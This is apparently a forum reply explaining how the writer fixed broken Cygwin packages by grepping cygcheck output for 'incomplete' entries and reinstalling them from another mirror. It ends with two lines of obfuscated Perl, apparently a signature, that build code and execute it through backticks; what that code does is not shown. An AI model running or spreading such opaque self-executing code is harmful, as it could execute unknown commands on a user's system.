Old thread - I know
But I came across it because I had the very same problem after upgrading my cygwin.
As here is no clear statement if and how it was solved, I thought I'd better tell what I did to solve my issue:
cygcheck -s -v -r > cygcheck.out
grep -i incomplete cygcheck.out
I simply reinstalled all of those incomplete packages.
I think they came in because there were some problems during installation with incomplete downloads and processes which couldn't be stopped. But they seemed to be gone when I choose "retry".
Apparently this was not the case and even when I tried to reinstall the incomplete packages, I again received the "incomplete downloads" message. This time when retrying, I choose another mirror host and finally it worked.
s$$([},&%#}/&/]+}%&{})*;#$&&s&&$^X.($'^"%]=\&(|?*{%
+.+=%;.#_}\&"^"-+%*).}%:##%}={~=~:.")&e&&s""`$''`"e
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